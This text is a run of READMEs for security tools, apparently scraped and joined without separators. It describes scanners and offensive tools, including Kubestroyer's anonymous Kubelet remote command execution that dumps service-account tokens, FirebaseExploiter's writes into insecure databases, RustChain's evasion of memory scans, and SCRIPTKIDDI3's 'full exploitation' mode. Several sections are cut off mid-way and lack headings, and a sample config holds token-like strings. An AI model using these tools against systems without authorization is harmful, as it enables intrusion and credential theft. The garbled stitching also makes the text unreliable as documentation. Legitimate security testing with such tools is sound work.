VTScanner is a versatile Python tool that empowers users to perform comprehensive file scans within a selected directory for malware detection and analysis. It seamlessly integrates with the VirusTotal API to deliver extensive insights into the safety of your files. VTScanner is compatible with Windows, macOS, and Linux, making it a valuable asset for security-conscious individuals and professionals alike.
VTScanner enables users to choose a specific directory for scanning. By doing so, you can assess all the files within that directory for potential malware threats.
Upon completing a scan, VTScanner generates detailed reports summarizing the results. These reports provide essential information about the scanned files, including their hash, file type, and detection status.
VTScanner leverages file hashes for efficient malware detection. By comparing the hash of each file to known malware signatures, it can quickly identify potential threats.
VTScanner interacts seamlessly with the VirusTotal API. If a file has not been scanned on VirusTotal previously, VTScanner automatically submits its hash for analysis. It then waits for the response, allowing you to access comprehensive VirusTotal reports.
For users with free VirusTotal accounts, VTScanner offers a time delay feature. This function introduces a specified delay (recommended between 20-25 seconds) between each scan request, ensuring compliance with VirusTotal's rate limits.
If you have a premium VirusTotal API account, VTScanner provides the option for concurrent scanning. This feature allows you to optimize scanning speed, making it an ideal choice for more extensive file collections.
VTScanner goes the extra mile by enabling users to explore VirusTotal's detailed reports for any file with a simple double-click. This feature offers valuable insights into file detections and behavior.
For added convenience, VTScanner comes with preinstalled Windows binaries compiled using PyInstaller. These binaries are detected by 10 antivirus scanners.
If you prefer to generate your own binaries or use VTScanner on non-Windows platforms, you can easily create custom binaries with PyInstaller.
Before installing VTScanner, make sure you have the following prerequisites in place:
pip install -r requirements.txtYou can acquire VTScanner by cloning the GitHub repository to your local machine:
git clone https://github.com/samhaxr/VTScanner.git
To initiate VTScanner, follow these steps:
cd VTScanner
python3 VTScanner.py
VTScanner is released under the GPL License. Refer to the LICENSE file for full licensing details.
VTScanner is a tool designed to enhance security by identifying potential malware threats. However, it's crucial to remember that no tool provides foolproof protection. Always exercise caution and employ additional security measures when handling files that may contain malicious content. For inquiries, issues, or feedback, please don't hesitate to open an issue on our GitHub repository. Thank you for choosing VTScanner v1.0.
AWS workloads that rely on the metadata endpoint are vulnerable to Server-Side Request Forgery (SSRF) attacks. IMDShift automates the migration process of all workloads to IMDSv2 with extensive capabilities, which implements enhanced security measures to protect against these attacks.
MetadataNoToken CloudWatch metric across specified regionsMetabadger is an older tool that was used to facilitate migration of AWS EC2 workloads to IMDSv2.
IMDShift makes several improvements on Metabadger's capabilities:
git clone https://github.com/ayushpriya10/imdshift.git
cd imdshift/
python3 -m pip install .git clone https://github.com/ayushpriya10/imdshift.git
cd imdshift/
python3 -m pip install -e .Options:
--services TEXT This flag specifies services scan for IMDSv1
usage from [EC2, Sagemaker, ASG (Auto Scaling
Groups), Lightsail, ECS, EKS, Beanstalk].
Format: "--services EC2,Sagemaker,ASG"
--include-regions TEXT This flag specifies regions explicitly to
include scan for IMDSv1 usage. Format: "--
include-regions ap-south-1,ap-southeast-1"
--exclude-regions TEXT This flag specifies regions to exclude from the
scan explicitly. Format: "--exclude-regions ap-
south-1,ap-southeast-1"
--migrate This boolean flag enables IMDShift to perform
the migration, defaults to "False". Format: "--
migrate"
-- update-hop-limit INTEGER This flag specifies if the hop limit should be
updated and with what value. It is recommended
to set the hop limit to "2" to enable containers
to be able to work with the IMDS endpoint. If
this flag is not passed, hop limit is not
updated during migration. Format: "--update-hop-
limit 3"
--enable-imds This boolean flag enables IMDShift to enable the
metadata endpoint for resources that have it
disabled and then perform the migration,
defaults to "False". Format: "--enable-imds"
--profile TEXT This allows you to use any profile from your
~/.aws/credentials file. Format: "--profile
prod-env"
--role-arn TEXT This flag let's you assume a role via aws sts.
Format: "--role-arn
arn:aws:sts::111111111:role/John"
--print-scps This boolean flag prints Service Control
Policies (SCPs) that can be used to control IMDS
usage, like deny access for credentials fetched
from IMDSv2 or deny creation of resources with
IMDSv1, defaults to "False". Format: "--print-
scps"
--check-imds-usage This boolean flag launches a scan to identify
how many instances are using IMDSv1 in specified
regions, during the last 30 days, by using the
"MetadataNoToken" CloudWatch metric, defaults to
"False". Format: "--check-imds-usage"
--help Show this message and exit.
Gold Digger is a simple tool used to help quickly discover sensitive information in files recursively. Originally written to assist in rapidly searching files obtained during a penetration test.
Gold Digger requires Python3.
virtualenv -p python3 .
source bin/activate
python dig.py --helpusage: dig.py [-h] [-e EXCLUDE] [-g GOLD] -d DIRECTORY [-r RECURSIVE] [-l LOG]
optional arguments:
-h, --help show this help message and exit
-e EXCLUDE, --exclude EXCLUDE
JSON file containing extension exclusions
-g GOLD, --gold GOLD JSON file containing the gold to search for
-d DIRECTORY, --directory DIRECTORY
Directory to search for gold
-r RECURSIVE, --recursive RECURSIVE
Search directory recursively?
-l LOG, --log LOG Log file to save outputGold Digger will recursively go through all folders and files in search of content matching items listed in the gold.json file. Additionally, you can leverage an exclusion file called exclusions.json for skipping files matching specific extensions. Provide the root folder as the --directory flag.
An example structure could be:
~/Engagements/CustomerName/data/randomfiles/
~/Engagements/CustomerName/data/randomfiles2/
~/Engagements/CustomerName/data/code/You would provide the following command to parse all 3 account reports:
python dig.py --gold gold.json --exclude exclusions.json --directory ~/Engagements/CustomerName/data/ --log Customer_2022-123_gold.logThe tool will create a log file containg the scanning results. Due to the nature of using regular expressions, there may be numerous false positives. Despite this, the tool has been proven to increase productivity when processing thousands of files.
Shout out to @d1vious for releasing git-wild-hunt https://github.com/d1vious/git-wild-hunt! Most of the regex in GoldDigger was used from this amazing project.
A modular web reconnaissance tool and vulnerability scanner based on Karton (https://github.com/CERT-Polska/karton).
The Artemis project has been initiated by the KN Cyber science club of Warsaw University of Technology and is currently being maintained by CERT Polska.
Artemis is experimental software, under active development - use at your own risk.
For an up-to-date list of features, please refer to the documentation.
To run the tests, use:
./scripts/test
Artemis uses pre-commit to run linters and format the code. pre-commit is executed on CI to verify that the code is formatted properly.
To run it locally, use:
pre-commit run --all-files
To setup pre-commit so that it runs before each commit, use:
pre-commit install
To build the documentation, use:
cd docs
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
make html
Please refer to the documentation.
Contributions are welcome! We will appreciate both ideas for new Artemis modules (added as GitHub issues) as well as pull requests with new modules or code improvements.
However obvious it may seem we kindly remind you that by contributing to Artemis you agree that the BSD 3-Clause License shall apply to your input automatically, without the need for any additional declarations to be made.
| Serial No. | Tool Name | Serial No. | Tool Name | |
|---|---|---|---|---|
| 1 | whatweb | 2 | nmap | |
| 3 | golismero | 4 | host | |
| 5 | wget | 6 | uniscan | |
| 7 | wafw00f | 8 | dirb | |
| 9 | davtest | 10 | theharvester | |
| 11 | xsser | 12 | fierce | |
| 13 | dnswalk | 14 | dnsrecon | |
| 15 | dnsenum | 16 | dnsmap | |
| 17 | dmitry | 18 | nikto | |
| 19 | whois | 20 | lbd | |
| 21 | wapiti | 22 | devtest | |
| 23 | sslyze |
Critical:- Vulnerabilities that score in the critical range usually have most of the following characteristics: Exploitation of the vulnerability likely results in root-level compromise of servers or infrastructure devices.Exploitation is usually straightforward, in the sense that the attacker does not need any special authentication credentials or knowledge about individual victims, and does not need to persuade a target user, for example via social engineering, into performing any special functions.
High:- An attacker can fully compromise the confidentiality, integrity or availability, of a target system without specialized access, user interaction or circumstances that are beyond the attackerโs control. Very likely to allow lateral movement and escalation of attack to other systems on the internal network of the vulnerable application. The vulnerability is difficult to exploit. Exploitation could result in elevated privileges. Exploitation could result in a significant data loss or downtime.
Medium:- An attacker can partially compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attackerโs control may be required for an attack to succeed. Very likely to be used in conjunction with other vulnerabilities to escalate an attack.Vulnerabilities that require the attacker to manipulate individual victims via social engineering tactics. Denial of service vulnerabilities that are difficult to set up. Exploits that require an attacker to reside on the same local network as the victim. Vulnerabilities where exploitation provides only very limited access. Vulnerabilities that require user privileges for successful exploitation.
Low:- An attacker has limited scope to compromise the confidentiality, integrity, or availability of a target system. Specialized access, user interaction, or circumstances that are beyond the attackerโs control is required for an attack to succeed. Needs to be used in conjunction with other vulnerabilities to escalate an attack.
Info:- An attacker can obtain information about the web site. This is not necessarily a vulnerability, but any information which an attacker obtains might be used to more accurately craft an attack at a later date. Recommended to restrict as far as possible any information disclosure.
CVSS V3 SCORE RANGE SEVERITY IN ADVISORY 0.1 - 3.9 Low 4.0 - 6.9 Medium 7.0 - 8.9 High 9.0 - 10.0 Critical
Use Program as python3 web_scan.py (https or http) ://example.com
--help
--update
| Serial No. | Vulnerabilities to Scan | Serial No. | Vulnerabilities to Scan | |
|---|---|---|---|---|
| 1 | IPv6 | 2 | Wordpress | |
| 3 | SiteMap/Robot.txt | 4 | Firewall | |
| 5 | Slowloris Denial of Service | 6 | HEARTBLEED | |
| 7 | POODLE | 8 | OpenSSL CCS Injection | |
| 9 | FREAK | 10 | Firewall | |
| 11 | LOGJAM | 12 | FTP Service | |
| 13 | STUXNET | 14 | Telnet Service | |
| 15 | LOG4j | 16 | Stress Tests | |
| 17 | WebDAV | 18 | LFI, RFI or RCE. | |
| 19 | XSS, SQLi, BSQL | 20 | XSS Header not present | |
| 21 | Shellshock Bug | 22 | Leaks Internal IP | |
| 23 | HTTP PUT DEL Methods | 24 | MS10-070 | |
| 25 | Outdated | 26 | CGI Directories | |
| 27 | Interesting Files | 28 | Injectable Paths | |
| 29 | Subdomains | 30 | MS-SQL DB Service | |
| 31 | ORACLE DB Service | 32 | MySQL DB Service | |
| 33 | RDP Server over UDP and TCP | 34 | SNMP Service | |
| 35 | Elmah | 36 | SMB Ports over TCP and UDP | |
| 37 | IIS WebDAV | 38 | X-XSS Protection |
git clone https://github.com/Malwareman007/Scanner-and-Patcher.git
cd Scanner-and-Patcher/setup
python3 -m pip install --no-cache-dir -r requirements.txt
Template contributions , Feature Requests and Bug Reports are more than welcome.
Contributions, issues and feature requests are welcome!
Feel free to check issues page.
Kubestroyer aims to exploit Kubernetes clusters misconfigurations and be the swiss army knife of your Kubernetes pentests
Kubestroyer is a Golang exploitation tool that aims to take advantage of Kubernetes clusters misconfigurations.
The tool is scanning known Kubernetes ports that can be exposed as well as exploiting them.
To get a local copy up and running, follow these simple example steps.
wget https://go.dev/dl/go1.19.4.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.19.4.linux-amd64.tar.gzUse prebuilt binary
or
Using go install command :
$ go install github.com/Rolix44/Kubestroyer@latestor
build from source:
$ git clone https://github.com/Rolix44/Kubestroyer.git$ go build -o Kubestroyer cmd/kubestroyer/main.go | Parameter | Description | Mand/opt | Example |
|---|---|---|---|
| -t / --target | Target (IP, domain or file) | Mandatory | -t localhost,127.0.0.1 / -t ./domain.txt |
| --node-scan | Enable node port scanning (port 30000 to 32767) | Optionnal | -t localhost --node-scan |
| --anon-rce | RCE using Kubelet API anonymous auth | Optionnal | -t localhost --anon-rce |
| -x | Command to execute when using RCE (display service account token by default) | Optionnal | -t localhost --anon-rce -x "ls -al" |
Target
Scanning
Vulnerabilities
See the open issues for a full list of proposed features (and known issues).
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Distributed under the MIT License. See LICENSE.txt for more information.
Rolix - @Rolix_cy - rolixcy@protonmail.com
Project Link: https://github.com/Rolix44/Kubestroyer
It's a Burp Suite's extension to allow for recursive crawling and scanning of Single Page Applications.
It runs a Chromium browser to scan the webpage for DOM-based XSS.
It can also collect all the requests (XHR, fetch, websockets, etc) issued during the crawling allowing them to be forwarded to Burp's Proxy, Repeater and Intruder.
It requires node and DOMDig.
Latest release can be downloaded here
node's executable and the path of domdig.js in the extension's UI.Burp DOM Scanner uses DOMDig as the crawling and scanning engine.
DOMDig is a DOM XSS scanner that runs inside the Chromium web browser and it can scan single page applications (SPA) recursively. Unlike other scanners, DOMDig can crawl any webapplication (including gmail) by keeping track of DOM modifications and XHR/fetch/websocket requests and it can simulate a real user interaction by firing events. During this process, XSS payloads are put into input fields and their execution is tracked in order to find injection points and the related URL modifications.
Details about usage, performed checks and reported vulnerabilities, can be found at DOMDig's page
This tool is a simple PoC of how to hide memory artifacts using a ROP chain in combination with hardware breakpoints. The ROP chain will change the main module memory page's protections to N/A while sleeping (i.e. when the function Sleep is called). For more detailed information about this memory scanning evasion technique check out the original project Gargoyle. x64 only.
The idea is to set up a hardware breakpoint in kernel32!Sleep and a new top-level filter to handle the exception. When Sleep is called, the exception filter function set before is triggered, allowing us to call the ROP chain without the need of using classic function hooks. This way, we avoid leaving weird and unusual private memory regions in the process related to well known dlls.
The ROP chain simply calls VirtualProtect() to set the current memory page to N/A, then calls SleepEx and finally restores the RX memory protection.
The overview of the process is as follows:
This process repeats indefinitely.
As it can be seen in the image, the main module's memory protection is changed to N/A while sleeping, which avoids memory scans looking for pages with execution permission.
Since we are using LITCRYPT plugin to obfuscate string literals, it is required to set up the environment variable LITCRYPT_ENCRYPT_KEY before compiling the code:
C:\Users\User\Desktop\RustChain> set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"
After that, simply compile the code and run the tool:
C:\Users\User\Desktop\RustChain> cargo build
C:\Users\User\Desktop\RustChain\target\debug> rustchain.exe
This tool is just a PoC and some extra features should be implemented in order to be fully functional. The main purpose of the project was to learn how to implement a ROP chain and integrate it within Rust. Because of that, this tool will only work if you use it as it is, and failures are expected if you try to use it in other ways (for example, compiling it to a dll and trying to reflectively load and execute it).
~/.kube/config) is properly configured for the target cluster.deploy/kubei.yaml is used to deploy and configure Kubei on your cluster.IGNORE_NAMESPACES env variable to ignore specific namespaces. Set TARGET_NAMESPACE to scan a specific namespace, or leave empty to scan all namespaces.MAX_PARALLELISM env variable for the maximum number of simultaneous scanners.SEVERITY_THRESHOLD threshold will be reported. Supported levels are Unknown, Negligible, Low, Medium, High, Critical, Defcon1. Default is Medium.DELETE_JOB_POLICY env variable to define whether or not to delete completed scanner jobs. Supported values are:All - All jobs will be deleted.Successful - Only successful jobs will be deleted (default).Never - Jobs will never be deleted.kubectl apply -f https://raw.githubusercontent.com/Portshift/kubei/master/deploy/kubei.yamlkubectl -n kubei get pod -lapp=kubei
kubectl -n kubei port-forward $(kubectl -n kubei get pods -lapp=kubei -o jsonpath='{.items[0].metadata.name}') 8080 kubectl -n kubei logs $(kubectl -n kubei get pods -lapp=kubei -o jsonpath='{.items[0].metadata.name}') 
deploy/kubei.yaml.
exploit.json to upload during exploitURI path for exploitThis will display help for the CLI tool. Here are all the required arguments it supports.
FirebaseExploiter was built using go1.19. Make sure you use latest version of Go to install successfully. Run the following command to install the latest version:
go install -v github.com/securebinary/firebaseExploiter@latestTo scan a specific domain to check for Insecure Firebase DB.
To exploit a Firebase DB to write your own JSON document in it.
Create your own exploit.json file in proper JSON format to exploit vulnerable Firebase DBs.
Checking the exploited URL to verify the vulnerability.
Adding custom path for exploiting Firebase DBs.
Mass scanning for Insecure Firebase Databases from list of target hosts.
Exploiting vulnerable Firebase DBs from the list of target hosts.
FirebaseExploiter is made with love by the SecureBinary team. Any tweaks / community contribution are welcome.
PortEx is a Java library for static malware analysis of Portable Executable files. Its focus is on PE malformation robustness, and anomaly detection. PortEx is written in Java and Scala, and targeted at Java applications.
For more information have a look at PortEx Wiki and the Documentation
PortexAnalyzer CLI is a command line tool that runs the library PortEx under the hood. If you are looking for a readily compiled command line PE scanner to analyse files with it, download it from here PortexAnalyzer.jar
The GUI version is available here: PortexAnalyzerGUI
You can include PortEx to your project by adding the following Maven dependency:
<dependency>
<groupId>com.github.katjahahn</groupId>
<artifactId>portex_2.12</artifactId>
<version>4.0.0</version>
</dependency>
To use a local build, add the library as follows:
<dependency>
<groupId>com.github.katjahahn</groupId>
<artifactId>portex_2.12</artifactId>
<version>4.0.0</version>
<scope>system</scope>
<systemPath>$PORTEXDIR/target/scala-2.12/portex_2.12-4.0.0.jar</systemPath>
</dependency>
Add the dependency as follows in your build.sbt
libraryDependencies += "com.github.katjahahn" % "portex_2.12" % "4.0.0"
PortEx is build with sbt
To simply compile the project invoke:
$ sbt compile
To create a jar:
$ sbt package
To compile a fat jar that can be used as command line tool, type:
$ sbt assembly
You can create an eclipse project by using the sbteclipse plugin. Add the following line to project/plugins.sbt:
addSbtPlugin("com.typesafe.sbteclipse" % "sbteclipse-plugin" % "2.4.0")
Generate the project files for Eclipse:
$ sbt eclipse
Import the project to Eclipse via the Import Wizard.
I develop PortEx and PortexAnalyzer as a hobby in my freetime. If you like it, please consider buying me a coffee: https://ko-fi.com/struppigel
Karsten Hahn
Twitter: @Struppigel
Mastodon: struppigel@infosec.exchange
Youtube: MalwareAnalysisForHedgehogs
ย
KubeStalk is a tool to discover Kubernetes and related infrastructure based attack surface from a black-box perspective. This tool is a community version of the tool used to probe for unsecured Kubernetes clusters around the internet during Project Resonance - Wave 9.
The GIF below demonstrates usage of the tool:
KubeStalk is written in Python and requires the requests library.
To install the tool, you can clone the repository to any directory:
git clone https://github.com/redhuntlabs/kubestalk
Once cloned, you need to install the requests library using python3 -m pip install requests or:
python3 -m pip install -r requirements.txt
Everything is setup and you can use the tool directly.
A list of command line arguments supported by the tool can be displayed using the -h flag.
$ python3 kubestalk.py -h
+---------------------+
| K U B E S T A L K |
+---------------------+ v0.1
[!] KubeStalk by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[!] Author: 0xInfection (RHL Research Team)
[!] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
usage: ./kubestalk.py <url(s)>/<cidr>
Required Arguments:
urls List of hosts to scan
Optional Arguments:
-o OUTPUT, --output OUTPUT
Output path to write the CSV file to
-f SIG_FILE, --sig-dir SIG_FILE
Signature directory path to load
-t TIMEOUT, --timeout TIMEOUT
HTTP timeout value in seconds
-ua USER_AGENT, --user-agent USER_AGENT
User agent header t o set in HTTP requests
--concurrency CONCURRENCY
No. of hosts to process simultaneously
--verify-ssl Verify SSL certificates
--version Display the version of KubeStalk and exit.To use the tool, you can pass one or more hosts to the script. All targets passed to the tool must be RFC 3986 complaint, i.e. must contain a scheme and hostname (and port if required).
A basic usage is as below:
$ python3 kubestalk.py https://โโโ.โโ.โโ.โโโ:10250
+---------------------+
| K U B E S T A L K |
+---------------------+ v0.1
[!] KubeStalk by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[!] Author: 0xInfection (RHL Research Team)
[!] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
[+] Loaded 10 signatures to scan.
[*] Processing host: https://โโโ.โโ.โโ.โโ:10250
[!] Found potential issue on https://โโโ.โโ.โโ.โโ:10250: Kubernetes Pod List Exposure
[*] Writing results to output file.
[+] Done.
HTTP requests can be fine-tuned using the -t (to mention HTTP timeouts), -ua (to specify custom user agents) and the --verify-ssl (to validate SSL certificates while making requests).
You can control the number of hosts to scan simultanously using the --concurrency flag. The default value is set to 5.
The output is written to a CSV filea and can be controlled by the --output flag.
A sample of the CSV output rendered in markdown is as belows:
| host | path | issue | type | severity |
|---|---|---|---|---|
https://โ.โ.โ.โ:10250 | /pods | Kubernetes Pod List Exposure | core-component | vulnerability/misconfiguration |
https://โ.โ.โ.โ:443 | /api/v1/pods | Kubernetes Pod List Exposure | core-component | vulnerability/misconfiguration |
http://โ.โ.โโ.โ:80 | / | etcd Viewer Dashboard Exposure | add-on | vulnerability/exposure |
http://โโ.โโ.โ.โ:80 | / | cAdvisor Metrics Web UI Dashboard Exposure | add-on | vulnerability/exposure |
The tool is licensed under the BSD 3 Clause License and is currently at v0.1.
To know more about our Attack Surface Management platform, check out NVADR.
Nuclear Pond is used to leverage Nuclei in the cloud with unremarkable speed, flexibility, and perform internet wide scans for far less than a cup of coffee.
It leverages AWS Lambda as a backend to invoke Nuclei scans in parallel, choice of storing json findings in s3 to query with AWS Athena, and is easily one of the cheapest ways you can execute scans in the cloud.
Think of Nuclear Pond as just a way for you to run Nuclei in the cloud. You can use it just as you would on your local machine but run them in parallel and with however many hosts you want to specify. All you need to think of is the nuclei command line flags you wish to pass to it.
To install Nuclear Pond, you need to configure the backend terraform module. You can do this by running terraform apply or by leveraging terragrunt.
$ go install github.com/DevSecOpsDocs/nuclearpond@latestYou can either pass in your backend with flags or through environment variables. You can use -f or --function-name to specify your Lambda function and -r or --region to the specified region. Below are environment variables you can use.
AWS_LAMBDA_FUNCTION_NAME is the name of your lambda function to execute the scans onAWS_REGION is the region your resources are deployedNUCLEARPOND_API_KEY is the API key for authenticating to the APIAWS_DYNAMODB_TABLE is the dynamodb table to store API scan statesBelow are some of the flags you can specify when running nuclearpond. The primary flags you need are -t or -l for your target(s), -a for the nuclei args, and -o to specify your output. When specifying Nuclei args you must pass them in as base64 encoded strings by performing -a $(echo -ne "-t dns" | base64).
Below are the subcommands you can execute within nuclearpond.
To run nuclearpond subcommand nuclearpond run -t devsecopsdocs.com -r us-east-1 -f jwalker-nuclei-runner-function -a $(echo -ne "-t dns" | base64) -o cmd -b 1 in which the target is devsecopsdocs.com, region is us-east-1, lambda function name is jwalker-nuclei-runner-function, nuclei arguments are -t dns, output is cmd, and executes one function through a batch of one host through -b 1.
$ nuclearpond run -h
Executes nuclei tasks in parallel by invoking lambda asynchronously
Usage:
nuclearpond run [flags]
Flags:
-a, --args string nuclei arguments as base64 encoded string
-b, --batch-size int batch size for number of targets per execution (default 1)
-f, --function-name string AWS Lambda function name
-h, --help help for run
-o, --output string output type to save nuclei results(s3, cmd, or json) (default "cmd")
-r, --region string AWS region to run nuclei
-s, --silent silent command line output
-t, --target string individual target to specify
-l, --targets string list of targets in a file
-c, --threads int number of threads to run lambda funct ions, default is 1 which will be slow (default 1)The terraform module by default downloads the templates on execution as well as adds the templates as a layer. The variables to download templates use the terraform github provider to download the release zip. The folder name within the zip will be located within /opt. Since Nuclei downloads them on run we do not have to but to improve performance you can specify -t /opt/nuclei-templates-9.3.4/dns to execute templates from the downloaded zip. To specify your own templates you must reference a release. When doing so on your own repository you must specify these variables in the terraf orm module, github_token is not required if your repository is public.
If you have specified s3 as the output, your findings will be located in S3. The fastest way to get at them is to do so with Athena. Assuming you setup the terraform-module as your backend, all you need to do is query them directly through athena. You may have to configure query results if you have not done so already.
select
*
from
nuclei_db.findings_db
limit 10;In order to get down into queries a little deeper, I thought I would give you a quick example. In the select statement we drill down into info column, "matched-at" column must be in double quotes due to - character, and you are searching only for high and critical findings generated by Nuclei.
SELECT
info.name,
host,
type,
info.severity,
"matched-at",
info.description,
template,
dt
FROM
"nuclei_db"."findings_db"
where
host like '%devsecopsdocs.com'
and info.severity in ('high','critical')The backend infrastructure, all within terraform module. I would strongly recommend reading the readme associated to it as it will have some important notes.
Fast and lightweight, UDPX is a single-packet UDP scanner written in Go that supports the discovery of over 45 services with the ability to add custom ones. It is easy to use and portable, and can be run on Linux, Mac OS, and Windows. Unlike internet-wide scanners like zgrab2 and zmap, UDPX is designed for portability and ease of use.
Scanning UDP ports is very different than scanning TCP - you may, or may not get any result back from probing an UDP port as UDP is a connectionless protocol. UDPX implements a single-packet based approach. A protocol-specific packet is sent to the defined service (port) and waits for a response. The limit is set to 500 ms by default and can be changed by -w flag. If the service sends a packet back within this time, it is certain that it is indeed listening on that port and is reported as open.
A typical technique is to send 0 byte UDP packets to each port on the target machine. If we receive an "ICMP Port Unreachable" message, then the port is closed. If an UDP response is received to the probe (unusual), the port is open. If we get no response at all, the state is open or filtered, meaning that the port is either open or packet filters are blocking the communication. This method is not implemented as there is no added value (UDPX tests only for specific protocols).
Concurrency: By default, concurrency is set to 32 connections only (so you don't crash anything). If you have a lot of hosts to scan, you can set it to 128 or 256 connections. Based on your hardware, connection stability, and ulimit (on *nix), you can run 512 or more concurrent connections, but this is not recommended.
To scan a single IP:
udpx -t 1.1.1.1
To scan a CIDR with maximum of 128 connections and timeout of 1000 ms:
udpx -t 1.2.3.4/24 -c 128 -w 1000
To scan targets from file with maximum of 128 connections for only specific service:
udpx -tf targets.txt -c 128 -s ipmi
Target can be:
IPv6 is supported.
If you want to store the results, use flag -o [filename]. Output is in JSONL format, as can be seen bellow:
{"address":"45.33.32.156","hostname":"scanme.nmap.org","port":123,"service":"ntp","response_data":"JAME6QAAAEoAAA56LU9vp+d2ZPwOYIyDxU8jS3GxUvM="}
__ ______ ____ _ __
/ / / / __ \/ __ \ |/ /
/ / / / / / / /_/ / /
/ /_/ / /_/ / ____/ |
\____/_____/_/ /_/|_|
v1.0.2-beta, by @nullt3r
Usage of ./udpx-linux-amd64:
-c int
Maximum number of concurrent connections (default 32)
-nr
Do not randomize addresses
-o string
Output file to write results
-s string
Scan only for a specific service, one of: ard, bacnet, bacnet_rpm, chargen, citrix, coap, db, db, digi1, digi2, digi3, dns, ipmi, ldap, mdns, memcache, mssql, nat_port_mapping, natpmp, netbios, netis, ntp, ntp_monlist, openvpn, pca_nq, pca_st, pcanywhere, portmap, qotd, rdp, ripv, sentinel, sip, snmp1, snmp2, snmp3, ssdp, tftp, ubiquiti, ubiquiti_discovery_v1, ubiquiti_discovery_v2, upnp, valve, wdbrpc, wsd, wsd_malformed, xdmcp, kerberos, ike
-sp
Show received packets (only first 32 bytes)
-t string
IP/CIDR to scan
-tf string
File containing IPs/CIDRs to scan
-w int
Maximum time to wait for a response (socket timeout) in ms (default 500)
You can grab prebuilt binaries in the release section. If you want to build UDPX from source, follow these steps:
From git:
git clone https://github.com/nullt3r/udpx
cd udpx
go build ./cmd/udpx
You can find the binary in the current directory.
Or via go:
go install -v github.com/nullt3r/udpx/cmd/udpx@latest
After that, you can find the binary in $HOME/go/bin/udpx. If you want, move binary to /usr/local/bin/ so you can call it directly.
The UDPX supports more then 45 services. The most interesting are:
The complete list of supported services:
Please send a feature request with protocol name and port and I will make it happen. Or add it on your own, the file pkg/probes/probes.go contains all available payloads. Specify the protocol name, port and packet data (hex-encoded).
{
Name: "ike",
Payloads: []string{"5b5e64c03e99b51100000000000000000110020000000000000001500000013400000001000000010000012801010008030000240101"},
Port: []int{500, 4500},
},I am not responsible for any damages. You are responsible for your own actions. Scanning or attacking targets without prior mutual consent can be illegal.
UDPX is distributed under MIT License.
How it works โข Installation โข Usage โข MODES โข For Developers โข Credits
Introducing SCRIPTKIDDI3, a powerful recon and initial vulnerability detection tool for Bug Bounty Hunters. Built using a variety of open-source tools and a shell script, SCRIPTKIDDI3 allows you to quickly and efficiently run a scan on the target domain and identify potential vulnerabilities.
SCRIPTKIDDI3 begins by performing recon on the target system, collecting information such as subdomains, and running services with nuclei. It then uses this information to scan for known vulnerabilities and potential attack vectors, alerting you to any high-risk issues that may need to be addressed.
In addition, SCRIPTKIDDI3 also includes features for identifying misconfigurations and insecure default settings with nuclei templates, helping you ensure that your systems are properly configured and secure.
SCRIPTKIDDI3 is an essential tool for conducting thorough and effective recon and vulnerability assessments. Let's Find Bugs with SCRIPTKIDDI3
[Thanks ChatGPT for the Description]
This tool mainly performs 3 tasks
SCRIPTKIDDI3 requires different tools to run successfully. Run the following command to install the latest version with all requirments-
git clone https://github.com/thecyberneh/scriptkiddi3.git
cd scriptkiddi3
bash installer.shscriptkiddi3 -hThis will display help for the tool. Here are all the switches it supports.
[ABOUT:]
Streamline your recon and vulnerability detection process with SCRIPTKIDDI3,
A recon and initial vulnerability detection tool built using shell script and open source tools.
[Usage:]
scriptkiddi3 [MODE] [FLAGS]
scriptkiddi3 -m EXP -d target.com -c /path/to/config.yaml
[MODES:]
['-m'/'--mode']
Available Options for MODE:
SUB | sub | SUBDOMAIN | subdomain Run scriptkiddi3 in SUBDOMAIN ENUMERATION mode
URL | url Run scriptkiddi3 in URL ENUMERATION mode
EXP | exp | EXPLOIT | exploit Run scriptkiddi3 in Full Exploitation mode
Feature of EXPLOI mode : subdomain enumaration, URL Enumeration,
Vulnerability Detection with Nuclei,
an d Scan for SUBDOMAINE TAKEOVER
[FLAGS:]
[TARGET:] -d, --domain target domain to scan
[CONFIG:] -c, --config path of your configuration file for subfinder
[HELP:] -h, --help to get help menu
[UPDATE:] -u, --update to update tool
[Examples:]
Run scriptkiddi3 in full Exploitation mode
scriptkiddi3 -m EXP -d target.com
Use your own CONFIG file for subfinder
scriptkiddi3 -m EXP -d target.com -c /path/to/config.yaml
Run scriptkiddi3 in SUBDOMAIN ENUMERATION mode
scriptkiddi3 -m SUB -d target.com
Run scriptkiddi3 in URL ENUMERATION mode
scriptkiddi3 -m SUB -d target.com
Run SCRIPTKIDDI3 in FULL EXPLOITATION MODE
scriptkiddi3 -m EXP -d target.comFULL EXPLOITATION MODE contains following functions
Run scriptkiddi3 in SUBDOMAIN ENUMERATION MODE
scriptkiddi3 -m SUB -d target.comSUBDOMAIN ENUMERATION MODE contains following functions
Run scriptkiddi3 in URL ENUMERATION MODE
scriptkiddi3 -m URL -d target.comURL ENUMERATION MODE contains following functions
Using your own CONFIG File for subfinder
scriptkiddi3 -m EXP -d target.com -c /path/to/config.yamlYou can also provie your own CONDIF file with your API Keys for subdomain enumeration with subfinder
Updating tool to latest version You can run following command to update tool
scriptkiddi3 -uAn Example of config.yaml
binaryedge:
- 0bf8919b-aab9-42e4-9574-d3b639324597
- ac244e2f-b635-4581-878a-33f4e79a2c13
censys:
- ac244e2f-b635-4581-878a-33f4e79a2c13:dd510d6e-1b6e-4655-83f6-f347b363def9
certspotter: []
passivetotal:
- sample-email@user.com:sample_password
securitytrails: []
shodan:
- AAAAClP1bJJSRMEYJazgwhJKrggRwKA
github:
- ghp_lkyJGU3jv1xmwk4SDXavrLDJ4dl2pSJMzj4X
- ghp_gkUuhkIYdQPj13ifH4KA3cXRn8JD2lqir2d4
zoomeye:
- zoomeye_username:zoomeye_passwordIf you have ideas for new functionality or modes that you would like to see in this tool, you can always submit a pull request (PR) to contribute your changes.
If you have any other queries, you can always contact me on Twitter(thecyberneh)
